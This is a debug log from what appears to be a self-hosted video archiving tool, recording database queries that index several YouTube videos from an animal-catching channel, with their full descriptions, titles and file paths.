s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.956 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-12 14:03:48Z], 33] 08:29:46.957 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "686a79ef-36b1-4ed7-ab32-f552eed65928", "FzYbHf2jmM0", false, "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, [], 871, false, 11, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, false, 98, ~U[2025-07-12 14:03:48Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "FzYbHf2jmM0", "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, 871, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, ~U[2025-07-12 14:03:48Z]] 08:29:46.958 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.959 [debug] QUERY OK source="media_items" db=0.9ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 12:00:21Z], 33] 08:29:46.961 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "071d79fa-91ff-470f-be78-1a704a61878b", "bTxhjc8_xqQ", false, "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, [], 1220, false, 12, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, false, 98, ~U[2025-06-28 12:00:21Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "bTxhjc8_xqQ", "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, 1220, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, ~U[2025-06-28 12:00:21Z]] 08:29:46.961 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.962 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-31 12:05:14Z], 33] 08:29:46.964 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "bb81b324-d5bd-4a88-8649-a9c830e57efd", "J-STRAtlMwM", false, "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, [], 2451, false, 13, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, false, 98, ~U[2025-05-31 12:05:14Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "J-STRAtlMwM", "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, 2451, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, ~U[2025-05-31 12:05:14Z]] 08:29:46.964 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.965 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 12:00:31Z], 33] 08:29:46.969 [debug] QUERY OK source="media_items" db=3.5ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "dd689ab5-29d5-4c5b-848a-a62fe4733feb", "32XYlQoTwvg", false, "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, [], 1964, false, 14, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, false, 98, ~U[2025-04-19 12:00:31Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "32XYlQoTwvg", "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, 1964, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, ~U[2025-04-19 12:00:31Z]] 08:29:46.970 [debug] QUERY OK source="sources" db=0.3ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.971 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-15 12:22:02Z], 33] 08:29:46.973 [debug] QUERY OK source="media_items" db=1.1ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "db70628f-dec4-441a-a0c8-073a39c73d83", "m6aOMjI6w1o", false, "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, [], 1780, false, 15, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, false, 98, ~U[2025-03-15 12:22:02Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "m6aOMjI6w1o", "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, 1780, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, ~U[2025-03-15 12:22:02Z]] 08:29:46.973 [debug] QUERY OK source="sources" db=0.3ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.974 [debug] QUERY OK source="media_items" db=0.9ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-31 15:00:01Z], 33] 08:29:46.976 [debug] QUERY OK source="media_items" db=1.4ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live 